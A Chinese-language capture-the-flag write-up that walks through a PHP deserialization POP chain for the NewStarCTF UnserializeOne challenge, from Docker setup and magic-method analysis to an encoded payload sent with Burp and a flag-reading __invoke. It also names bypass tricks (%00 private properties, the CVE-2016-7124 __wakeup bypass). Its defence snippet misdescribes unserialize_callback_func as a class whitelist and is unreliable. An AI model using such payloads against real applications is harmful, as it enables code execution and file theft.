)
从零构建PHP反序列化漏洞实战NewStarCTF UnserializeOne深度解析第一次接触CTF中的PHP反序列化题目时那种既兴奋又困惑的感觉至今难忘。看着其他选手轻松解出题目而自己却连魔术方法的调用顺序都理不清——这或许是许多Web安全新手的共同经历。本文将以NewStarCTF的UnserializeOne为例带你从环境搭建到Payload构造完整走一遍反序列化漏洞的实战流程。不同于简单的解题思路复述我们将重点关注那些教程中很少提及的坑点为什么私有属性需要修改序列化字符串中的数字代表什么当Payload不生效时该如何调试1. 环境准备与基础认知1.1 搭建PHP测试环境推荐使用Docker快速搭建隔离的测试环境避免污染本地配置。以下命令会创建一个包含PHP 7.4和必要扩展的容器docker run -dit --name php-test -p 8080:80 -v $PWD:/var/www/html php:7.4-apache验证环境是否正常工作在项目目录创建info.php文件内容为?php phpinfo(); ?访问http://localhost:8080/info.php应显示PHP配置信息1.2 魔术方法核心概念PHP反序列化的关键在于理解这些特殊方法魔术方法的触发时机魔术方法触发条件典型用途__construct()对象创建时初始化属性__destruct()对象销毁时资源释放常见漏洞入口__toString()对象被当作字符串使用时字符串转换逻辑__invoke()对象被当作函数调用时本案例中获取flag的关键__isset()对不可访问属性调用isset()时属性访问控制__call()调用不可访问方法时方法重定向提示在实际CTF比赛中__wakeup()常常是绕过的重点但本题未涉及2. 题目代码深度解析2.1 类结构拆解题目包含四个关键类我们需要分析它们的交互关系class Start { public $name; protected $func; // 析构时输出欢迎信息 public function __destruct() { /* ... */ } // 检查不可访问属性时触发 public function __isset($var) { /* ... */ } } class Sec { private $obj; private $var; // 对象被当作字符串时触发 public function __toString() { /* ... */ } // 对象被当作函数调用时触发目标方法 public function __invoke() { /* ... */ } } class Easy { public $cla; // 调用不存在方法时触发 public function __call($fun, $var) { /* ... */ } } class eeee { public $obj; // 对象克隆时触发 public function __clone() { /* ... */ } }2.2 攻击链POP Chain构建思路我们的目标是触发Sec::__invoke()来读取flag按照以下逻辑逆向推导最终目标执行$x()形式的调用触发__invoke触发路径Start::__isset()中($this-func)()可触发需要让func成为Sec对象如何触发__isseteeee::__clone()中isset($this-obj-cmd)会触发需要obj是Start对象因为cmd属性不存在如何触发__cloneEasy::__call()中clone $var[0]会触发如何触发__callSec::__toString()中$this-obj-check()会触发需要obj是Easy对象check方法不存在如何触发__toStringStart::__destruct()中echo $this-name会触发需要name是Sec对象3. 分步构造Payload3.1 基础对象初始化首先创建入口对象并设置基本属性$start new Start(); $start-name new Sec(); // 为触发__toString $start-name-obj new Easy(); // 为触发__call $start-name-var new eeee(); // 为触发__clone3.2 属性访问链配置继续完善对象间的引用关系$start-name-var-obj new Start(); // 为触发__isset $start-name-var-obj-func new Sec(); // 最终触发__invoke3.3 处理访问修饰符问题PHP序列化时会严格处理访问控制修饰符。观察原始代码Sec::$obj和Sec::$var是privateStart::$func是protected我们需要调整属性为public才能外部操作class Sec { public $obj; public $var; /* ... */ } class Start { public $name; public $func; /* ... */ }3.4 生成序列化字符串使用serialize()函数生成Payloadecho urlencode(serialize($start));得到的序列化字符串结构分析O:5:Start:2:{ s:4:name;O:3:Sec:2:{ s:3:obj;O:4:Easy:1:{s:3:cla;N;} s:3:var;O:4:eeee:1:{ s:3:obj;O:5:Start:2:{ s:4:name;N; s:4:func;O:3:Sec:2:{s:3:obj;N;s:3:var;N;} } } } s:4:func;N; }注意实际使用时需要去除换行和空格这里格式化是为了可读性4. 实战测试与调试技巧4.1 使用Burp Suite发送Payload拦截浏览器请求建议使用Firefox修改POST参数POST /target.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded popO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A3%3A%22obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3BO%3A4%3A%22eeee%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A4%3A%22func%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A3%3A%22obj%22%3BN%3Bs%3A3%3A%22var%22%3BN%3B%7D%7D%7Ds%3A4%3A%22func%22%3BN%3B%7D4.2 常见问题排查当Payload未生效时按以下步骤检查属性可见性确保所有需要的属性都是public字符串长度序列化中的s:4等数字必须与实际字符串长度匹配魔术方法触发顺序添加日志输出验证调用链class Sec { public function __invoke() { file_put_contents(debug.log, __invoke triggered, FILE_APPEND); echo file_get_contents(/flag); } }特殊字符处理使用urlencode()处理POST参数5. 防御方案与进阶思考5.1 安全开发建议如果需要在项目中实现反序列化使用json_decode()替代unserialize()实现__wakeup()方法重置敏感属性限制反序列化的类白名单ini_set(unserialize_callback_func, class_filter); function class_filter($classname) { $allowed [SafeClass1, SafeClass2]; if (!in_array($classname, $allowed)) { throw new Exception(Unsafe class); } }5.2 CTF中的变种题型掌握基础POP链后可以挑战更复杂的变种属性修饰符绕过利用C字符表示private属性O:3:Sec:2:{s:6:%00Sec%00obj;N;s:6:%00Sec%00var;N;}__wakeup绕过通过修改对象计数触发CVE-2016-7124自定义序列化处理器实现Serializable接口的类在本地测试时修改后的完整攻击脚本应该包含所有类定义和序列化逻辑。记得在实际CTF比赛中通常需要将生成的Payload通过Web接口提交而不是直接运行PHP脚本。